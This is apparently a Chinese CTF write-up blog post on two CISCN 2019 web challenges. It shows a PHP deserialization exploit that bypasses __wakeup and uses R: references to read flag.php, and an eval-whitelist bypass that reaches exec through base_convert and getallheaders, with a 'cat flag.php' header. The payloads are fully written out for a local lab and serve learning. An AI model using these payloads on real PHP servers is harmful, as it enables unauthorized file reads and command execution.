2019CISCN web題賽-JustSoSo;love_math(復現)

0x00前言

這幾天從網上找個CMS源碼開始練習審計,盯着衆多的代碼debug調呀調頭暈腦脹的,還不錯找到個文件讀取和一個ssrf...

上月底結束的CISCN線上賽,web四道,仔細研究的2道,做出了一道,剛好比賽時順手把源碼弄了下來,結合賽後師傅們的writeup復現一下這兩道

 

0x01JustSoSo

有3個文件,index.php和hint.php可以通過文件filter來讀取,而flag.php需要利用反序列化來讀取

index.php

<?php
error_reporting(0);
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
    echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
    die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
            die('stop hacking!');
            exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
}

?>

hint.php

<?php  
class Handle{ 
    private $handle;  
    public function __wakeup(){
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
    public function __construct($handle) { 
        $this->handle = $handle; 
    } 
    public function __destruct(){
        $this->handle->getFlag();
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;
 
    function __construct($file){
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(1,10000));
    }

    public function getFlag(){
        $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
        {
            if(isset($this->file)){
                echo @highlight_file($this->file,true); 
            }  
        }
}
}
?>

入口在index.php中的

$payload = unserialize($payload);

這一行代碼,通過GET傳入,因爲不能直接讀flag,所以file中不能包含flag字段,但是payload中的waf可以繞過

整個利用要繞過3個點

1、利用http:/127.0.0.1///file=hint&payload=flag中的///來繞過payload中對$_SERVER['REQUEST_URI']的檢驗

參考文章:http://www.am0s.com/functions/406.html

2.利用反序列化被__wakeup()時,如果序列化字符串包含的成員數和實際數不想合導致__wakeup()不被執行的繞過

 

3.利用R來繞過md5隨機生成的檢驗

爲什麼可以這麼繞過,可以參考這篇文章http://www.neatstudio.com/show-161-1.shtml,簡單介紹了下R是什麼參數

文章中提到了R是指針引用,這裏就詳細插敘描述下使用方法

插入

<?php
class siji{
    public $int;
    public $str;
    public $str_tmp;
    public $int_tmp;
    public $md5;
    public $md5_tmp;
}

$clzz = new siji();
$clzz->int = 1;
$clzz->str = "hello";
$clzz->md5 = md5(rand(1,10000));
$clzz->int_tmp = &$clzz->int;
$clzz->str_tmp = &$clzz->str;
$clzz->md5_tmp = &$clzz->md5;

echo serialize($clzz);
//O:4:"siji":6:{s:3:"int";i:1;s:3:"str";s:5:"hello";s:7:"str_tmp";R:3;s:7:"int_tmp";R:2;s:3:"md5";s:32:"17d8da815fa21c57af9829fb0a869602";s:7:"md5_tmp";R:4;}

可以看到如果使用引用那麼題目中的R是4位的,根據引用目標的值不同R:num,這個num是不同的

<?php
class siji{
    public $int;
    public $str;
    public $str_tmp;
    public $int_tmp;
    public $md5;
    public $md5_tmp;
}

$clzz = new siji();
$clzz->int = 1;
$clzz->str = "hello";
$clzz->md5 = md5(rand(1,10000));
$clzz->int_tmp = &$clzz->int;
$clzz->str_tmp = &$clzz->str;
$clzz->md5_tmp = &$clzz->md5;

$ser = serialize($clzz);
echo $ser . "<br>";
//O:4:"siji":6:{s:3:"int";i:1;s:3:"str";s:5:"hello";s:7:"str_tmp";R:3;s:7:"int_tmp";R:2;s:3:"md5";s:32:"17d8da815fa21c57af9829fb0a869602";s:7:"md5_tmp";R:4;}

$clzz2 = unserialize($ser);
echo "<hr>";
echo "md5 is:" . $clzz2->md5 . ",md5_tmp is:" . $clzz2->md5_tmp . "<br>";
//md5 is:3cef96dcc9b8035d23f69e30bb19218a,md5_tmp is:3cef96dcc9b8035d23f69e30bb19218a
$clzz2->md5 = md5(rand(1,10000));
echo "md5 is:" . $clzz2->md5 . ",md5_tmp is:" . $clzz2->md5_tmp . "<br>";
//md5 is:52bdba949576e6bcec5682a4993bfb58,md5_tmp is:52bdba949576e6bcec5682a4993bfb58

那麼在反序列化後對md5成員進行改變,md5_tmp成員會跟着一起改變,畢竟他是指向md5的值的

插入結束

 

生成payload的payload.php

<?php
class Handle{
    private $handle;
    public function __construct($handle) {
        $this->handle = $handle;
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;
    function __construct($file){
        $this->file = $file;
        //$this->token_flag = $this->token = md5(rand(1,10000));
    }
}
$class1 = new Flag("flag.php");
$class2 = new Handle($class1);
$tmp1 = serialize($class2);
echo $tmp1 ."<hr>";
$tmp2 = str_replace(":1:",":2:", $tmp1);
$tmp3 = str_replace("token_flag\";N;","token_flag\";R:4;",$tmp2);
echo $tmp3 ."<hr>";
echo urlencode($tmp3);
?>

能夠直接讀取到flag.php文件了,最終payload如下(我這裏本地測試的,flag.php文件自己隨手寫的)

http://127.0.0.1///cc/index.php?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3BN%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

吐槽下比賽的時候真的真的沒有想到第三點的繞過,寫了python腳本爆破md5,在本地能夠十分鐘左右跑出來,掛在比賽服務器上就被知道創於的waf給攔截了,因爲跑的太快。最後沒發送一次sleep 1秒,2臺電腦跑了1個小時,終於撞出來了,費力不討好的非預期解法2333

 

0x02love_math

先直接上源碼,目的是讀取flag.php文件

 <html>
 <meta charset="utf-8">
 </html>
 <?php
error_reporting(0);
//聽說你很喜歡數學,不知道你是否愛它勝過愛flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
       die("太長了不會算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("請不要輸入奇奇怪怪的字符");
        }
    }

    //常用數學函數http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("請不要輸入奇奇怪怪的函數");
       }
    }

    eval('echo '.$content.';');
}

看懂waf的原理,大致要求是這樣的

1.payload長度不能超過80

2.payload中不能包含' ', '\t', '\r', '\n',''', '"', '`', '[', ']' 這些字符

3.payload中不能有不是$whitelist白名單裏面的單詞出現,比如

abs(1)能過

1abs()能過

absa()不能過

abs(a)不能過

abs()a不能過

最先我想的是用拼接裁剪的方式把payload組合出來,我極限組合在77字符能把phpinfo給組合出來,但是getflag,怎麼也會超長度

 

$pi=hypot.min.fmod;$pi=$pi{2}.$pi{0}.$pi{2}.$pi{6}.$pi{7}.$pi{8}.$pi{3};$pi()

 

然後考慮是不是touch個文件,進行把命令拆分寫入文件,再執行文件,但是失敗了

最後看了writeup發現在衆多函數中有個base_convert()函數,這個纔是解題的關鍵

先看看函數的用法https://www.runoob.com/php/func-math-base-convert.html

在看這道題writeup之前,我的認知還停留在16進制會帶個abcdef,殊不知還可以到36進制,可以帶所有小寫字母

有了這個函數就能大大減短payload了

如果直接使用讀取文件函數file_get_contents中包含下劃線不在我們36進制中,並且base_convert第一個參數太長會溢出,也就是10進制數沒法無限大

最後的方法是藉助getallheader()來控制請求頭,通過請求頭的字段讀取flag.php

這裏也就類似於$_GET,$_POST之類的,但是因爲只能控制小寫字符,所以大寫的直接被pass掉

getallheader()返回的是數組,要從數組裏面取數據用array['xxx'],但是無奈[]被waf了,因爲{}中是可以帶數字的,這裏用getallheader(){1}可以返回自定義頭1裏面的內容

 

這裏因爲php版本問題,我windows下php7.0前的所有版本對於getallheader進行30-36的進制轉換,再轉換回來的時候都存在溢出,也就是無法把10進制數變回getallheader

最終再linux下使用的php7.3版本能夠在10進制與30進制之間轉換

最後的payload如下

$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1})
//exec(getallheaders(){1})

操作xx和yy,中間用逗號隔開,echo都能輸出

echo xx,yy

並且在請求頭上加上1:cat flag.php字段即可

 

0xff結語

當成遊戲玩CTF很有趣啊,但是要去掙個名次什麼的還是很有壓力,多虧了神仙隊友才得以晉級orz。

這兩道題的源碼在復現的過程中全部有給出,有興趣的同學也可以copy下自己搭波環境

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章